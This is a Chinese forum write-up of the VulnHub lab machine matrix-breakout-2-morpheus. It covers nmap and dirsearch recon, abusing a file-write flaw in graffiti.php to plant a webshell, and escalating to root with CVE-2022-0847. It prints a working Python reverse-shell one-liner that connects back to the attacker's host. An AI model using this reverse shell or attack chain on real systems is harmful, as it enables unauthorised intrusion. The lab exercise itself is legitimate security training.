vulnhub_matrix-breakout-2-morpheus

打印 上一主题 下一主题

主题 919|帖子 919|积分 2757

前言

靶机地址:matrix-breakout-2-morpheus
攻击机:kali2022.3
靶机:matrix-breakout-2-morpheus
题目描述:
这是《黑客帝国突围》系列的第二部,副标题为墨菲斯:1。它的主题是对第一部黑客帝国电影的回归。你扮演三位一体,试图调查尼布甲尼撒的一台计算机,Cypher将其他人都锁在外面,这掌握着一个谜团的钥匙。
难度:中等难度
信息收集

探测靶机

nmap -sP 192.168.70.0/24
点击查看代码
  1. ┌──(root㉿kali)-[/home/kali/Desktop]
  2. └─# nmap -sP 192.168.70.0/24     
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-31 06:43 EST
  4. Nmap scan report for 192.168.70.1
  5. Host is up (0.00024s latency).
  6. MAC Address: 00:50:56:C0:00:08 (VMware)
  7. Nmap scan report for 192.168.70.2
  8. Host is up (0.00013s latency).
  9. MAC Address: 00:50:56:FE:42:C8 (VMware)
  10. Nmap scan report for 192.168.70.151
  11. Host is up (0.00015s latency).
  12. MAC Address: 00:0C:29:99:AE:0E (VMware)
  13. Nmap scan report for 192.168.70.254
  14. Host is up (0.00026s latency).
  15. MAC Address: 00:50:56:E9:E4:7C (VMware)
  16. Nmap scan report for 192.168.70.137
  17. Host is up.
  18. Nmap done: 256 IP addresses (5 hosts up) scanned in 6.09 seconds
复制代码
其中根据靶机在vmware中的mac地址来判断靶机ip
可以看到192.168.70.151
扫描端口信息

nmap -A -p- 192.168.70.151
点击查看代码
  1. ┌──(root㉿kali)-[/home/kali/Desktop]
  2. └─# nmap -A -p- 192.168.70.151
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-31 06:44 EST
  4. Nmap scan report for 192.168.70.151
  5. Host is up (0.00042s latency).
  6. Not shown: 65532 closed tcp ports (reset)
  7. PORT   STATE SERVICE VERSION
  8. 22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
  9. | ssh-hostkey:
  10. |_  256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA)
  11. 80/tcp open  http    Apache httpd 2.4.51 ((Debian))
  12. |_http-title: Morpheus:1
  13. |_http-server-header: Apache/2.4.51 (Debian)
  14. 81/tcp open  http    nginx 1.18.0
  15. |_http-title: 401 Authorization Required
  16. | http-auth:
  17. | HTTP/1.1 401 Unauthorized\x0D
  18. |_  Basic realm=Meeting Place
  19. |_http-server-header: nginx/1.18.0
  20. MAC Address: 00:0C:29:99:AE:0E (VMware)
  21. No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
复制代码
可以发现有一个80端口和一个81端口
查看网站

可以发现80端口是一个网页

81端口是一个登录框

使用插件查看网站信息

查看一下robots.txt

没什么东西
网站目录

点击查看代码
  1. ┌──(root㉿kali)-[/home/kali/Desktop]
  2. └─# dirsearch -u http://192.168.70.151/  
  3.   _|. _ _  _  _  _ _|_    v0.4.2                                                                    
  4. (_||| _) (/_(_|| (_| )                                                                             
  5.                                                                                                    
  6. Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
  7. Output File: /root/.dirsearch/reports/192.168.70.151/-_23-01-31_08-33-34.txt
  8. Error Log: /root/.dirsearch/logs/errors-23-01-31_08-33-34.log
  9. Target: http://192.168.70.151/
  10. [08:33:34] Starting:
  11. [08:33:35] 403 -  279B  - /.htaccess.bak1                                 
  12. [08:33:35] 403 -  279B  - /.ht_wsr.txt                                    
  13. [08:33:35] 403 -  279B  - /.htaccess.sample                                
  14. [08:33:35] 403 -  279B  - /.htaccess.save
  15. [08:33:35] 403 -  279B  - /.htaccess_extra
  16. [08:33:35] 403 -  279B  - /.htaccess_orig
  17. [08:33:35] 403 -  279B  - /.htaccessBAK
  18. [08:33:35] 403 -  279B  - /.htaccess_sc
  19. [08:33:35] 403 -  279B  - /.htaccessOLD
  20. [08:33:35] 403 -  279B  - /.htaccessOLD2
  21. [08:33:35] 403 -  279B  - /.html                                          
  22. [08:33:35] 403 -  279B  - /.htm
  23. [08:33:35] 403 -  279B  - /.htpasswds
  24. [08:33:35] 403 -  279B  - /.httr-oauth
  25. [08:33:35] 403 -  279B  - /.htaccess.orig                                 
  26. [08:33:35] 403 -  279B  - /.htpasswd_test
  27. [08:33:36] 403 -  279B  - /.php                                            
  28. [08:33:51] 200 -  348B  - /index.html                                       
  29. [08:33:51] 301 -  321B  - /javascript  ->  http://192.168.70.151/javascript/
  30. [08:33:58] 200 -   47B  - /robots.txt                                       
  31. [08:33:59] 403 -  279B  - /server-status                                    
  32. [08:33:59] 403 -  279B  - /server-status/
  33.                                                                              
  34. Task Completed            
复制代码
没发现什么有价值得,换个工具继续扫dirbuster
设置好字典和url就可以start了

漏洞发现


发现了一个php文件访问看看ip/graffiti.php

这里随便写入一个'试试有没有sql注入,并且抓包,发现数据包中存在一个graffiti.txt,访问发现刚才写入得'被写入到文件中所以判断存在任意文件写入漏洞
漏洞利用-任意文件写入

拿下webshell

写入一句话木马

用蚁剑连接木马

查看根目录,在根目录发现了flag1




内核信息

cat /etc/*-release

反弹shell

点击查看代码
  1. python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.70.137",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
复制代码


反弹成功
提权

上传linpeas.sh -->>点击此处下载
使用蚁剑上传脚本

加权限并且运行


监测到得漏洞信息还是挺多得,这里使用CVE-2022-0847进行提权
点击此处下载-->>>Exploit
使用蚁剑上传exp,开打

FLAG

FLAG1

在根目录下

FLAG2

在root目录下


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

去皮卡多

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表